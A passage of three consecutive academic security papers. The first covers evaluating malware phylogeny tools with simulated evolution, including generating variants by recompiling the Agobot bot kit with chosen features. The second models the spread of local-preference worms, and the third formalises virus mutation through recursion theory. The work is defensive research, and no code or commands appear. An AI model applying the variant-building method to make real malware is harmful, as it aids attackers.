new features; it is a model of feature accretion.  Then we can define a (rooted) evolution history as a 

Figure 1:  Example artificial evolution through feature addition



collection of derivation paths starting at a common point and overlapping only at that point.  An 
example of such a derivation tree is shown in Figure 1.

Using this definition it  is possible to define a process to randomly select derivation trees when 
given a set of features of a seed program.  If the seed program is the result of a long process of 
evolution, and this process of evolution worked to gradually add new features, then this random 
derivation tree selection process serves to select alternative histories by choosing different orderings 
and paths. The intent is to use the existing features to suggest plausible but artificial alternative 
derivation histories.

It may be difficult to define an entirely automated process for dissecting the programs and then re-
combining the features.  We expect the problem to be much harder to solve without the source code 
for  a  mature  sample.   However,  in  some cases  a  semi-automated  approach  may  be  simple  to 
implement.  One possibility is to use a program slicing-based program decomposition scheme to 
automatically construct executable program subsets (Lyle, 1991).  When a source base is available, 
however, it may be feasible to select groups of program elements (lines, objects, etc.) that form a 
feature, and then set up a simple infrastructure for compiling only program subsets.  We use this 
approach in the study reported below.

Studies of Phylogeny Model Constructor Behaviour
We  performed  two  studies  to  explore  some  of  the  questions  raised  in  the  previous  sections 
regarding evaluation of malware phylogeny model constructors.  In particular, we wished to provide 
data that can yield new insight into: (1) the importance of using multiple reference sets, (2) the 
variability of different  constructors and which issues to consider  during evaluation,  and (3) the 
degree  of  generality  that  can  be  expected  of  various  phylogeny  model  constructors,  i.e.,  their 
sensitivity to different classes of evolution.

To examine the question of how sensitive malware phylogeny constructors are to evolution class, 
distances of the generators were compared when sampling from different classes of evolution. To 
examine the question of how important multiple reference sets are, and what measurement issues 
may arise in analysis, we sought to collect information about the standard deviation in the results of 
the phylogeny malware constructors for a given treatment.

Design

Evolution simulators are employed to generate samples from different classes of evolution histories. 
The experiment followed a factorial design, where the factors were the evolution characteristics of 
the simulated evolution histories, which were set by selecting a particular evolution simulator and 
setting its parameters.  That is, we ran different evolution simulators with a variety of parameters, 
generating collections of artificial evolution histories.  Treatments consisted of applications of a 
malware phylogeny model constructor to these collections, producing estimated models, and the 
dependent variable was the nodal distance between the estimated model and the (known) reference 
phylogeny.   That is,  we ran different  phylogeny model constructors on the simulated evolution 
histories  and  measured  how different  their  outputs  were  from the  reference  tree.   We used  a 
convenience selection of phylogeny model constructors:  Vilo (Karim et al., 2005), and our own 
implementation  of  Wehner's  NCD  (Wehner,  2007).   If  these  detectors  were  sensitive  to  the 



evolution type, we would expect the dependent measure (distance mean) to vary according to the 
simulator used and its parameters.

Apparatus

Two different  malware  evolution simulators  were constructed.  The first  simulator  followed the 
mutation model of the previous section. It was constructed as a Perl script that read PE files and 
wrote  them with  modified  code  segments.   The  simulator  takes  a  PE file  to  mutate,  and  two 
parameters:  a ratio of small to large changes, and the threshold value of what is considered a small 
change.  The simulator then constructs an artificial evolution history consisting of a balanced binary 
tree  of  depth  4  (15  samples)  by  mutating  the  PE file  to  create  children,  with  the  size  of  the 
mutations randomly selected from either a large change population or small change population with 
the population selected as if by a weighted coin flip with the provided small/large change ratio as 
the weighting.  Mutations are all by replacing code blocks with randomly generated code.  Each 
mutation  is  randomly  split  into  one  to  seven  different  mutations,  simulating  modifications  in 
multiple places between species.

The second evolution simulator followed the feature-accumulation evolution model of the previous 
section.   It  was  specially  constructed  by  modifying  a  version  of  the  Agobot  construction  kit. 
Agobot kit was a suitable selection because its source was available to us, it is mature and has a rich 
feature set that could be selected from, and the features are, by design, implemented in a highly 
modular manner so that they can be independently selected.  Moreover, though the kit we acquired 
is considered  in-the-zoo, many in-the-wild malware belonging to Agobot or Gaobot family are 
believed to have been created through variants of this kit (Infection Vectors, 2004).  A subset of 15 
features  were  selected  for  constructing  variations;  these  are  listed  in  Table  2.   The  code  was 
segmented  by  (manually)  wrapping  the  features  in  #ifdef /  #endif delimiters.   Arbitrary 
combinations could be selected by use of a script that invoked Make and the Microsoft Visual C++ 
6.0 compiler.  Balanced binary trees of depth four were sampled by starting at the minimum point in 
the lattice (no features on) and then randomly walking up the lattice, adding features.

1- Use computer name as nickname 8- Enable stealth
2- Login using channel messages 9- Auto start enabled
3- Generate random nickname 10- Start as service
4- Melt original server file 11- Enable Identd
5- Execute topic commands 12-Steal Windows product keys
6- Do speedtest on startup 13- Spam AOL
7- Kill AV processes 14- Sniffer enabled

15- Polymorph on install

Table 2:  Features of Agobot selected for building the lattice of possible variants

Adequate care was taken that the samples generated could not accidentally be executed and the 
samples were destroyed immediately after analysis. Further details about these simulators, including 
the algorithms used for tree sampling and construction, are provided in (Hayes, 2008).

Subjects and Preparation

A malicious sample from a wild collection was used as the seed to the mutation engine.  It was 
identified  by  four  different  anti-virus  scanners  as  belonging  to  the  Agobot  family.   The  two 



parameters (two factors) to the simulator were varied to create 18 different classes of simulated 
evolution histories, as follows:   Small-To-Large Ratio took on values from { 0.1, 0.2, 0.3, 0.4, 0.5, 
0.6, 0.7, 0.8, and 0.9 }, and Small Threshold (measured in bytes) from { 400, 2400 }.   A 19th 

sample of size 20 was constructed using the feature-accretion model simulator.

Protocol

The simulators were run to create 19 different samples of size 20 with 15 programs in each instance. 
Dendrograms were constructed for each simulated evolution from the balanced binary trees, using 
the relative changes between parent and child to determine how to generate pairs in the dendrogram. 
Each  sample  was  fed  to  Vilo  and  NCD,  which  generated  similarity  matrices.   The  similarity 
matrices  were  fed  through  CLUTO  (Karypis,  2003)  such  that  CLUTO's  UPGMA  clusterer 
constructed  dendrograms.   The  nodal  distance  between  these  dendrograms  and  the  reference 
dendrograms were then measured and recorded.  Their means and standard deviation values for 
each parameter setting were then collected.  

Results

An example of the reference and constructed trees is shown in Figure 2.  The example is one of the 
randomly constructed evolution histories using the feature accretion model.  The labels in the leaves 
indicate  the  feature  numbers  included  in  the  program;  the  numbers  correspond  to  the  feature 
numbers from Table 2.  The measures for the feature accretion model are in Table 3.  The mean and 

Figure 2:  Example reference tree (left) with Vilo output (middle) and  NCD output (right)



standard deviation for the mutation simulation are shown in Tables  4 and 5, and the means graphed 
in Figure 3.   

Mean Nodal Distance Standard Deviation

NCD 219.7 39.44

Vilo 208.3 35.48

Table 3:  Measures for feature-addition sample

Small-to-Large NCD,400 Vilo,400 NCD,2400 Vilo,2400
0.9 946.1 1004.8 975.2 980.8

0.8 975.9 1019.3 920.4 925.1

0.7 988.1 1000.7 1003.7 1017.9

0.6 1014.6 1055.7 1016.6 1017.1

0.5 1054.0 1094.9 980.4 992.0

0.4 1091.4 1082.1 992.8 994.6

0.3 997.8 996.5 929.7 926.7

0.2 969.2 992.9 905.8 917.8

0.1 959.9 934.2 949.6 930.8

Table 4:  Mean Nodal Differences across factors



Small-to-Large NCD,400 Vilo,400 NCD,2400 Vilo,2400
0.9 184.56 143.23 132.90 111.01

0.8 205.94 118.72 133.11 158.44

0.7 248.00 103.24 154.89 107.58

0.6 281.69 149.23 118.18 122.98

0.5 217.28 153.73 91.47 110.65

0.4 305.36 131.8 114.42 123.89

0.3 275.23 162.92 100.59 120.09

0.2 232.96 155.43 131.82 103.74

0.1 224.03 132.69 85.21 95.86

Table 5:  Standard deviation across factors

Discussion

The data  from the  sensitivity  study,  presented in the  tables  and chart,   indicate  that  the  mean 
distances are affected by the model type and, to a lesser extent, the parameter settings in the models. 
While this study is limited by the types of evolution models employed, the results appear to signal a 
need for caution when building or selecting evolution models for evaluation.  

Variation is high between individual histories taken from a single population of evolution histories. 
This fact is captured in Table 1 by the relatively large values of the standard deviation−39.44 for the 
case of the accretion model data, or about 18% of the mean.  The difference in means is stark when 
comparing the results across different evolution models.  While some variation appears between the 
mutation models (Figure 3), the difference between the mutation and feature accretion model is 
stark:  from ~200 to ~1000.  
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Figure 3:  Mean nodal distance for various parameter settings



The study is limited in that only a single measure (nodal distance) is used, and it may be a factor in 
the variance shown.  Nonetheless, the variance exhibited in the data set appears to present important 
challenges to the evaluation of phylogeny model construction systems.  There are several points that 
can be considered depending upon the purpose and context of evaluation:

1. The variation calls into question the sufficiency of a small  number of tests data sets for 
evaluation of malware phylogeny model construction systems.  It suggests that there may be 
a need, as in biology, to lean on simulation-based evaluations similar in spirit to the ones in 
this paper.

2. An anti-malware analyst may value consistency of results in addition to mean performance. 
For example, if she is constructing a phylogeny model from a specific data set of incoming 
malware, she may happen to be worried that the result may happen to be egregiously bad 
and thus allow a risky piece of software to be misclassified.  This possibility suggests that 
publication of performance results should include indications of consistency in addition to 
straightforward accuracy. 

3. The question of selecting quantitative measures is likely to be critical, especially for the 
anti-malware analyst.  Nodal Distance measures the average path distance deviations, but in 
some circumstances the analyst may be specifically interested in other key measures, such as 
number of poor classifications.   While other measures from biology might be useful, as 
there may be measures of interest specifically for malware authors, such as ones similar to 
those studied by Wehner (2007).

Conclusions
In biology, phylogeny model construction systems are normally evaluated using simulations and 
large enough samples that statistically meaningful tests can be performed.  This approach is rare in 
the field of malware phylogeny systems, but then evaluation in this field is still effectively in its 
infancy.   This paper describes an approach for simulating evolution histories by breaking apart and 
then recombining existing malware in order to simulate feature evolution.  It argues that variance in 
performance and sensitivity to evolution characteristics may be likely properties of such systems 
and, if so, then it raises important questions for evaluators.   For practitioners in the anti-malware 
field,  the  implication  is  that  evaluations  of  phylogeny  construction  tools  need  to  be  carefully 
considered if they use only limited sets of data.

The study in this paper, while limited, raises legitimate concerns and provides positive indication 
that similar sorts of simulation-based evaluations may become important in the field.  If so, then 
important research may lie in characterizing malware evolution and building appropriate models 
and simulations.
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Exploring Scalability and Fast Spreading of Local Preference Worms via 
Gradient Models

Abstract

Describing the behaviour of a fast spreading worm in a realistic way has been a difficult task,  
mainly because of complex interactions between networked hosts. This work elaborates on a recent  
worm propagation model in order to take into account human-based countermeasures (e.g., patch  
strategies, firewalls, updating virus scanners, removing hosts from the network) that influence the  
propagation of local-preference worms in the Internet. Furthermore, the possibility of building a  
theory of scalability via gradient models is discussed. Analytical results and simulation outcomes 
that demonstrate the higher propagation rate of local preference worms are also presented.  

Introduction

A network  worm  is  a  specific  type  of  malicious  software  that  self  propagates  by  exploiting 
application vulnerabilities in network-connected systems. During recent years, several worms have 
caused significant  damage in  corporate  and Internet  core  networks  (Cert,  2001),  (Moore  et  al, 
2002), (Moore et al, 2003), (eEye, 2003), (Shannon & Moore, 2004). While early worms followed 
rather random spread patterns and aimed mostly at Denial of Service attacks, future worms are 
expected to adopt advanced scanning strategies and even bear a catastrophic payload (Staniford et 
al, 2002), (Zou et al, 2006b), (Wu et al, 2004), (Chen & Ji, 2007). Α fast spreading worm armed 
with a priori information about the distribution of vulnerable nodes in the underlying infrastructure 
(Chen & Ji, 2007) may also perform targeted attacks and bring down the majority of the target 
networks  within  a  short  time  interval.  Securing  networks  against  worm attacks  is  particularly 
important  for  critical  infrastructure  applications,  such  as  banking  and  financial  applications, 
emergency deployment services and military applications.

Among the various strategies that worms can follow for scanning vulnerable hosts (Staniford et al, 
2002), (Zou et al, 2006a) two strategies have been primarily considered: a) random scanning worms 
(e.g., Code Red I (Moore et al, 2002), Slammer (Moore et al, 2003)) uniformly scan the 32-bit IP 
address space to find and infect vulnerable targets; b) local preference worms (e.g., Blaster (eEye, 
2003), Coder Red II (Moore et al, 2002), Nimda (Cert, 2001)) preferably infect “neighbouring” 
hosts (e.g. within a specific /8, /16 or /24 address block) within a network. It has been shown that 
local preference worms spread faster, compared to random scanning worms, when the vulnerable 
hosts in the Internet are unevenly distributed, which is a realistic assumption (Chen et al, 2007). 
Such  network-aware  worms  tend  to  infect  clusters  of  nodes,  often  with  similar  application 
vulnerabilities, before moving to other networks. It is also expected that in the future, when the 
IPv6 will be a reality, local preference may be an optimal scanning strategy for worms, given the 
infeasibility of randomly scanning the entire 128-bit address space (Bellovin et al, 2006).

From a security point of view, most traditional techniques for controlling worm intrusions involve 
human intervention and are mainly preventive (e.g., firewall policies and network perimeter, patch 
strategies,  network  segmentation,  updating  virus  scanners,  removing  hosts  from  the  network), 
aiming at reducing the risk of infection from a scanning worm. Some of these could also be seen as 
reactive measures that aim to reduce the exposure of a network to an already active worm. Recently, 
much attention has also been shed on  detection measures with automated real-time monitoring. 
Detection strategies can also be categorized into local and global strategies. For example, Intrusion 
Detection Systems (IDS) can be used to detect traffic anomalies in the internal network (Zou et al, 
2003),  (Yu  et  al,  2006),  (Morin  & Me,  2007).  While  such  local  monitoring  strategies  can  be 
effective in early detecting and raise threshold alarms within an organization, they may not be able 
to capture the global behaviour of a worm in the Internet, due to the heterogeneity of the various 



local networks. On the other hand, a global monitoring strategy often uses a centrally controlled 
Internet  infrastructure  which  gathers  log  data  from  geographically  distributed  systems.  Such 
strategies make use of highly distributed network telescopes or  honeypots to attract and identify 
attackers (Serazzi & Zanero, 2003). Admittedly it also seems difficult to setup global monitoring 
infrastructures that require a very large monitored network to become effective (Zou et al, 2003).

Worm propagation models are epidemiological models that capture the propagation dynamics of 
scanning worms as  a  means to understand the behaviour of  various  worm types.  Studying the 
behaviour  of  a  scanning  worm  can  also  help  towards  designing  and  evaluating  strategies  for 
monitoring and early detection, as well as predicting the time limits for early response. While it 
seems hard to create realistic models mainly due to the heterogeneity of the Internet networks, 
recent analytical models (e.g., (Staniford et al, 2002), (Zou et al, 2002)) have been validated with 
simulation results that approximate the behaviour of random scanning worms such as the Code Red 
and Slammer worms, for which real  measurements are disposable  on the Internet.  More recent 
models have also been proposed for non-uniform worm strategies (e.g., local preference worms) 
(Zou et al, 2006a).

Our  contribution. In  this  work  we  elaborate  on  a  recent  gradient  worm  propagation  model 
(Avlonitis et al, 2007) by introducing an appropriate new term which models human intervention 
(i.e.,  preventive  and/or  reactive  measures  that  mitigate  the  worm  propagation),  thus  better 
approximating  the  real-world  behaviour  of  scanning  worms  and  of  the  host  population  in  the 
Internet. Furthermore, we study the dynamics of the new model and give an emphasis to explaining 
the  higher  propagation  rates  of  local-preference  worm  strategies  (as  observed  in  real 
measurements), compared with the propagation rates of random scanning worms. Moreover, the 
powerfulness  of  gradient  models  to  describe  scalability  of  worm  propagation  in  terms  of 
spatiotemporal interactions between infected hosts, is demonstrated. It is claimed that the gradient 
models  point  towards  a  theory  of  scalability  which  is  missing  from  the  literature  on  worm 
propagation.

Related works

Worm propagation models extend the classical epidemiological model (Anderson & May, 1991) 
to describe the behaviour of a worm. The first complete application of mathematical models to 
computer  virus  propagation  was  proposed  in  (Kephart  &  White,  1991).  Traditionally, 
propagation models are given names according to the possible states of the host population. For 
example, the simple epidemic model in (Staniford et al, 2002) is a SI (Susceptible-Infected) 
model which describes random scanning worms that peak before a remedy is deployed. This 
model was extended in (Zou et al, 2002) to include hosts that are Recovered (i.e., a SIR model) 
for example as a result of installing a patch or a virus scanner. (Zou et al, 2006a) also modelled 
local  preference  worms  following  the  SI  approach.  In  another  example,  a  model  where 
susceptible hosts can become infected and then go back to a susceptible state (e.g., as a result of 
resetting a system where the propagation code  resides in the  main memory), is called a SIS 
model (Serazzi & Zanero, 2003). Other models take into account the fact that nodes can be 
isolated (e.g., powered down or quarantined) in an attempt to mitigate the worm propagation 
(e.g., (Onwubiko et al, 2005)). Furthermore, there are models that attempt to take into account 
the various non-uniformities of the underlying networks: worm propagation may be influenced 
by bandwidth variations and congestion (Wang & Wang,  2003),  (Serazzi  & Zanero,  2003), 
(Kesidis et al, 2005) or by the non-uniform behaviour of the worm itself (e.g. a worm with 
varying scan rate) (Yu et al, 2006).



In  a  recent  model  proposed in (Avlonitis  et  al,  2007)  the classical  model  was extended by 
incorporating spatial interactions between and within networks and an evolution equation for 
worm propagation  into  an  arbitrary  subnet  was  proposed.  According  to  the  formalism,  the 
notion of a critical network size (hereinafter called a critical subnet) was also introduced. It was 
suggested that the worm propagation within such a critical subnet may be considered in order to 
predict the global propagation of the worm in the Internet. The formalism can take into account 
non-uniformities that are due either to local interactions between neighbouring subnets (e.g. as a 
result of a local preference strategy) or to the heterogeneity of the underlying infrastructure, 
(e.g. bandwidth  variations,  different  topologies,  human  countermeasures  etc.).  In  the  next 
section we briefly present the results of the aforementioned approach. In Section 4 we present a 
new  model  that  describes  the  reduction  in  worm  population,  caused  by  preventive  and/or 
reactive security measures, thus better approximating the real-world behaviour in the Internet. In 
Section 5 we point towards a scalability theory via gradient  models and present  simulation 
results that validate our theoretical estimates, while Section 6 concludes the paper.

A brief review of a recently proposed gradient model

In this section it is briefly described the model proposed in (Avlonitis et al, 2007). Let iN  be the 
number  of  susceptible  hosts  in  the  i-th  subnet  and  iI  the  infected  hosts  in  the  same subnet. 
Suppose that K is the average propagation speed of the worm and in a first approximation let us say 
that  it  is  constant  in  every  single  subnet.  Assuming  a  random  scanning  strategy,  there  is  a 
probability INP  that a host inside the subnet targets a host inside the same subnet and a probability 

OUTP  that instead it attacks another subnet. Following the line of (Avlonitis et al, 2007), starting 
from a continuous evolution equation of the form,  
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and using a Taylor expansion around x  ( rxy += ), we end up with a spatial generalization of the 
simple epidemic model (in order to capture interactions between subnets either due to Internet non-
uniformities or due to non-uniform scanning strategies)
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where )t,x(aaX =  is the fraction of the infected hosts,  sTotal NNn =  is the number of subnets in 
the Internet which has a total of TotalN  susceptible hosts and sN  is the size of the subnets.

Assuming a uniform scanning strategy and a homogeneous network infrastructure, the number of 
infected hosts uniformly increases within the Internet. As a result  a uniform spatial distribution 
emerges  and  the  spatial  partial  derivatives  in  Eq.  (2)  vanish.   In  this  scenario  the  following 
evolution equations were derived,
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 where  ( )∫=
n

XSTotal draNN1a  is the total or average density of infected hosts in the Internet. 

Comparing Eq. (3) and Eq. (4) it is clear that when no non-uniformities are present, the average 
behaviour of a worm population in the Internet coincides with its behaviour in any network of 
arbitrary size (the smallest size limited to scales where discrete behaviour is not present).

When  a  local  preference  scanning  strategy  is  assumed,  there  is  a  uniform probability  to  scan 
addresses in the same “/m” prefix network. As a result a non-uniform distribution of infected hosts 
emerges and the spatial derivatives in Eq. (2) are no longer negligible. The following evolution 
equation holds,
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where Ωηβ =   is called the pairwise rate of infection ( η  is an average scan rate and Ω  is the 
total number of IP addresses),   β′  and β′′  are pairwise rates of infection in local and remote scan 
respectively ( m322p −=′ ηβ ,  m322)1Q()p1( −−−=′′ ηβ  where  Q is the number of “/m” prefix 

networks in Ω ) and ( ) ∫=
Qx

drrc 221 . Eq. (5) provides a specific law of worm propagate for local 

preference  scanning  strategy  taking  into  account  the  resulting  heterogeneities.  The  formalism 
introduces as a crucial model parameter, the gradient coefficient c which is a measure of the size of 
the  critical  network,  i.e. a  representative  neighbourhood  of  subnets.  This  means  that  in  a 
neighbourhood of this scale the worm population proceeds independently. As a result, the evolution 
of the worm population within the critical network coincides with the evolution of the population in 
the Internet as a whole. 

While the spatial model proposed by (Avlonitis et al, 2007) is able to take into account and model 
interactions between infected hosts, thus introducing the notion and existence of a critical network, 
no effort has been given to incorporate a number of factors that influence the propagation of a worm 
in the Internet, such as human intervention, e.g., preventive and reactive measures against scanning 
worms. It is the aim of the proposed model in the next section to incorporate such human-based 
actions in order to achieve a more realistic understanding of local preference worm propagation 
strategies in the Internet.

Incorporating human intervention in local preference worm propagation

In order to take into account human intervention in local preference scan strategies in the initial 
model proposed in Eq. (5) it  is  necessary to introduce an appropriate  loss term.  The following 
gradient model is proposed,  
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where  the  abbreviations  for  the  rate  [ ]ββ ′′−+′=′ )1Q(NK S  and  the  gradient  coefficient 

c)a1(N)a(c XSX −′=′ β  was used while the new term )a(g X  models human intervention. The 

following analytical form for )a(g X  is adopted,
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where 21 g,g  are appropriate constants. This kind of loss term was previously used in other fields 
in order to model population dynamics (e.g., (Ludwig et al, 1978)). The following properties hold: 
for  early  spread,  i.e.,  for  0aX → ,  2

XX a)a(g ≈  which  is  equivalent  to  say  that  initially  the 

reduction of infected hosts is very low, while near saturation 1aX → , 1X g)a(g ≈ , i.e., the rate of 
reduction of infected hosts reaches a high constant rate at a specific time after the release of the 
worm. This kind of behaviour is appropriate for worm spreading problems since in the real word, 
not too many hosts are initially aware of the presence of a new worm and as a result little effort is 
paid to mitigating its propagation. On the contrary, in the course of time more and more hosts are 
aware of the worm spreading and appropriate actions (both preventive and reactive) usually take 
place. 

In order to evaluate the role of the proposed model in Eq. (6), and especially the role of the gradient 
term (which models  local  preference worm strategies)  in  the worm’s  propagation rate,  the two 
versions of Eq. (6) with and without the gradient term, are considered. Furthermore, it is assumed 
that initially a more or less uniform distribution of nuclei of infected hosts emerge in the network 
(this  is  equivalent  to  assuming  a  quite  common  spatial  solution  of  the  form 

[ ] 2
X )A/xcosh(B)x(a −=  emerges  independently  in  each  critical  subnet,  see  for  example  in 

(Avlonitis  et  al,  2007b)).  For  this  scenario  and  for  the  initial  time  states  (i.e.,  for  0aX → , 
2
XX a)a(g ≈ ) of worm spreading, the time derivatives of Eq.(6) with and without the gradient term 

are depicted in Fig. (1), for arbitrary model parameters. 

   

Figure 1. Approximating analytical results of the gradient model with a loss term

It  can be seen that when a  random scanning strategy is  adopted then the corresponding model 
without the gradient term shows a low overall propagation rate while for a local preference strategy 
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the corresponding model with the gradient term shows a higher overall propagation rate.  As a 
consequence, the depicted analytical results confirm real measurements for local preference worms, 
which report faster propagation rates compared with random scanning worms. Moreover, recalling 
that c)a1(N)a(c XSX −′=′ β , the stronger the local preference behaviour the higher contribution of 
the gradient term e.g., the faster propagation rate as depicted with the dashed curves in Fig. (1).

Furthermore, the analytical results depicted in Fig. (1), show that the dynamic without the gradient 
term  (e.g.,  random  scanning)  reaches  a  maximum  number  of  infected  hosts  R

maxN  which  is 

considerably lower than that reached when the gradient term enters the dynamics, 1LP
maxN  or 2LP

maxN  
(local preference strategy). Thus, another outcome of the proposed model is that a local preference 
strategy not only obtains higher propagation rate but also results in much higher damage in the 
network. 

However, as one of the main results of the present work, it is noted that human intervention during 
worm spreading can be modelled and quantified in the framework of the proposed model by means 
of  only  three  model  parameters,  mainly S21 N,g,g .  This  is  not  always  an  easy  task  and 
appropriate  values  can  be  estimated  only  by  calibrating  model  behaviour  with  real  data.  The 
powerfulness  of  the  new model  is  that  the  calibration  can be  done  at  the  beginning of  worm 
propagation. As a result it may be possible to predict on time the future behaviour of the worm. For 
a robust calibration one should note that the new introduced term )a(g X  captures healing of hosts 
that return, for some reason, to a susceptible state (i.e., hosts that follow the SIS model). In order to 
incorporate  other  preventive  and/or  reactive  countermeasures  (e.g.,  firewall  policies,  patch 
strategies, updating virus scanners or removing hosts from the network), a dynamic reduction of the 
size SN  of the susceptible hosts in Eq. (6) must be considered.

Exploring scalability emerged in Local Preference worm strategies

As it was pointed elsewhere (Avlonitis et al, 2007), the so called gradient model for local preference 
worm strategies is able to capture the spatial behaviour of spreading worms. This can be done by 
means of a characteristic length entering to the corresponding gradient coefficient. The origin of this 
characteristic length relies on the interactions between hosts and determines the size of the critical 
subnet. Note that the smaller the gradient coefficient the smaller the characteristic length, e.g., the 
smaller the size of the critical subnet. Once more here it is emphasized that the existence of a 
critical subnet guaranties that an observation of the worm propagation within the critical subnet may 
lead  to  a  robust  measure  of  the  worm  propagation  in  the  entire  network.  As  a  result,  in  the 
framework of gradient models there is the possibility to address scalability analytically and further 
it is possible to measure (and quantify) the effect of subnet size to worm propagation behaviour.    

Under this interpretation, the proposed model in this work suggests that during worm propagation 
the characteristic length of the dynamics of the system changes since c)a1(N)a(c XSX −′=′ β  is a 

function  of  Xa .  Furthermore,  the  model  predicts  that  initially  a  critical  subnet  for  robust 

monitoring of worm propagation has a maximum size (since c)a1(N)a(c XSX −′=′ β  is maximum 

for  0aX → )   and  in  the  course  of  time  this  decreases  and  finally  for  1aX →  the  spreading 
behaviour coincides with a random scan strategy. This is an unexpected result and it is demonstrated 
later in this section by means of simulation results. Intuitively this can be understood since, in local 
preference  scanning  strategies,  initially  the  density  of  infected  hosts  proceeds  heterogeneously, 
while as the network goes to saturation the density of infected hosts tends to be homogeneous, e.g., 
at any subnet it is almost equal to unity.



In order to verify the predictions of the proposed model presented in the previous and current 
sections, a simple discrete event simulator has been built. This setup is equivalent to a /16 network, 
describing a total number of 256 LAN clusters with each LAN having 256 hosts.  All hosts are 
initially susceptible to worm infection and a single host in an arbitrary LAN is in infected state. The 
simulated  worm  performs  1  infection  probe  per  time  unit,  something  that  leads  to  a  rough 
correspondence of 1 ms per time step. Connection establishment delays are disregarded, as a UDP 
packet scanning method is assumed to be used. The simulator distinguishes between two types of 
probe propagation delays: 10 time units for intra-LAN and 100 time units for inter-LAN infection 
propagation.

In the first phase of simulation, a local preference strategy for address scanning was selected. No 
human  countermeasures  were  accounted  for,  enabling  thus  the  isolation  and  validation  of  the 
gradient term of the model-theoretical analysis. Probing subnets of various sizes have been used, 
containing part of, total, or aggregation of LANs with 128, 256 or 512 host per subnet, accordingly. 

In Figure 2,  the evolution of infection density of arbitrary selected subnets is  compared to the 
global infection density evolution of the whole simulated setup. During the outbreak phase of the 
worm infection, locally probed estimations of the infection are not following accurately the global 
infection  numbers.  In  the  case  of  subnets  with  size  128  or  256  probes  (that  is,  probing  was 
accomplished within a sole LAN), there appears an average error of 40% in the estimation of the 
global infection density. When a critical size of 512 hosts is considered, involving the aggregation 
of 2 LANs in a probing subnet, the corresponding estimation error is of the order of 15%.  On the 
other  hand,  near  the  saturation  phase  of  infection,  we  observe  that  the  behavior  of  the  worm 
propagation in different size subnets coincides. This confirms the theoretical result stated earlier in 
this  section,  i.e.,  that  near  the  saturation  local  preference  worms  behave  the  same  as  random 
scanning worms.



Figure 2. Infection density in arbitrary probing subnets compared to global infection density

In the second part of simulation experiments, a constant rate of 1‰ of the total number of hosts is 
assumed to be immunized in each time step,  accounting for preventive countermeasures  in the 
setup. In order to capture the human initiated healing of infected hosts an additional disinfection 
action is performed in each time step, which returns a number of infected hosts to the susceptible 
state. This number of healed hosts per time step is proportional (1‰) to the square of infected hosts 
within a LAN cluster, as long as the number of infected hosts in the LAN is kept low, but stabilizes 
later at 0.25%  when the number of infected hosts overpasses one half of the total available hosts in 
the LAN.

Two distinct cases of address scanning strategies have been simulated:

 In the first case, the generated addresses have a uniform (random) distribution, disregarding 
any information about locality of LAN clusters. Each infection probe can target any other 
host in the entire simulated setup with equal probability.

 In the second case, the worm exhibits a local preference in the probe addresses it generates. 
Following the characteristics of a Blaster-like worm, 40% of the generated addresses target 
other hosts in the same LAN cluster, while the remaining 60% target hosts in random LANs.

In both cases, the evolution of the number of infected hosts through time is being tracked, in order 
to compare and validate the model-theoretically predicted behavior of worm propagation.



Figure 3. Number of infected hosts in total simulated setup

As depicted in simulation results  of Figure 3,  the outbreak of infection is  faster with the local 
preference scanning strategy and the peak value of infected hosts is higher compared to the relevant 



results of random scanning. The two simulation outcomes are with strict accordance to the model-
theoretical predictions presented in Section 4. Moreover, it is clearly shown in Figure 3 that the 
immunization constant rate procedure is the dominant characteristic after reaching peak values of 
infected hosts in both uniform and local preference cases. This leads to a similar ending phase of 
infection evolution.

Discussion

The design of techniques and strategies for an effective, affordable and implementable resistance 
against  future  worms  will  be  a  research  challenge  in  the  years  to  come.  Given  the  apparent 
inadequacy of existing proactive strategies to deal with advanced, fast spreading worms, monitoring 
and intrusion detection can be seen as another layer of protection, complementary to preventive and 
reactive security (e.g., firewall and disinfection technologies). IDS technology could take advantage 
of the knowledge gained by recent worm propagation models that attempt to describe how a worm 
is propagated, by using mathematical equations.

This work elaborates on a recent worm propagation model  (Avlonitis et al, 2007), where it was 
shown that  there  is  a  representative  neighborhood of  hosts  of  appropriate  size  over  which the 
evolution of worm population follows correctly the evolution of the population in the Internet. More 
specifically, in this work a loss term is added to describe the reduction of the worm population, 
caused by preventive and/or reactive countermeasures. Furthermore, we explain analytically and 
then demonstrate, with simulation results, the fact that local preference worms spread faster and 
result in greater damage compared with random scanning worms. This work can be used to better 
describe the real-world behavior of local preference scanning worms in the Internet.

Finally, a theoretical framework for addressing scalability of worm propagation in the Internet was 
proposed via gradient models. More specifically it has been shown that a hierarchy of critical subnet 
sizes is  present  during local preference worm propagation. In general,  it  is  stated that  gradient 
models are a very valuable tool in order to address scalability. In order to understand this, note that 
the characteristics of scalability depend on the characteristics of worm propagation strategies and on 
the network infrastructure.  On the other  hand we show that  those characteristics  determine the 
expression of the corresponding gradient term. As a result, we believe that correct estimation of the 
gradient coefficient for a scanning worm could be used to predict its scaled propagation.
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Extended recursion-based formalization of viruses mutation

Abstract

Computer viruses are programs that can replicate themselves by infecting other programs in a  
system. Bonfante, Kaczmarek and Marion have recently proposed a classification of viruses which  
relies  on  the  recursion  theory  and  its  recursion  theorems.  We  propose  an  extension  of  their  
formalism to  consider  in  a  more  practical  way the  mutation  of  viruses.  In  particular,  we  are  
interested  in  modelling  any  depth  of  mutation,  not  just  the  first  two levels.  We show that  this  
formalism still relies on recursion theorems, whatever the depth of mutation, even in the case of  
infinite depth. We also extend furthermore this formalism to model the viability of viral replication,  
which  ensures  that  an  infected  program  still  can  propagate  the  virus.  An  application  of  the  
proposed formalism to the class of combined viruses (multi-part viruses) is studied. Finally, given  
that  metamorphic  viruses  can  be  modelled  by  grammars  operating  on  grammars,  we  study  a  
recursion-based  approach  of  formal  grammars  and  show  that  the  recursion  theorems  of  the 
recursion theory can be ported to the formal grammars theory.

Introduction

Computer infections are a  serious concern in nowadays IT infrastructures.  These infections are 
carried out using miscellaneous types of malware, among which computer viruses: such programs 
replicate themselves in a host environment, possibly mutating during the replication and possibly 
carrying a payload. These viruses have been modelled very early by F. Cohen (1986) using Turing 
machines,  and  then  by  Adleman  (1988)  using  recursive  functions.  Lately,  Filiol  (2005)  and 
Bonfante, Kaczmarek and Marion (2005, 2007) have proposed a new formalization of computer 
viruses which encompasses any previous approach and allows a classification where the existence 
of each class relies on a variant of Kleene’s recursion theorem (Kleene, 1938).

The major stake in detecting viruses is  virus mutation.  Simple viruses are detected by pattern-
matching.  However,  some viruses mutate their code along any replication: polymorphic viruses 
encrypt their code and mutate the decryption function only, whereas metamorphic viruses mutate 
